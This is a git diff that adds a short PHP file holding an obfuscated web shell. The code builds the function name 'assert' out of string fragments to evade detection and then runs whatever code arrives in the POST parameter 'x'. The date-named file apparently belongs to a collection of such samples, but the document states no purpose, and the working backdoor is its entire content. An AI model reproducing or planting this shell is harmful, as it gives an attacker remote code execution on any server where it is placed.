diff --git a/php/2020.08.20.01.php b/php/2020.08.20.01.php
new file mode 100644
index 0000000..14aa4f3
--- /dev/null
+++ b/php/2020.08.20.01.php
@@ -0,0 +1,4 @@
+<?php 
+    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
+    $a($_POST['x']);
+?>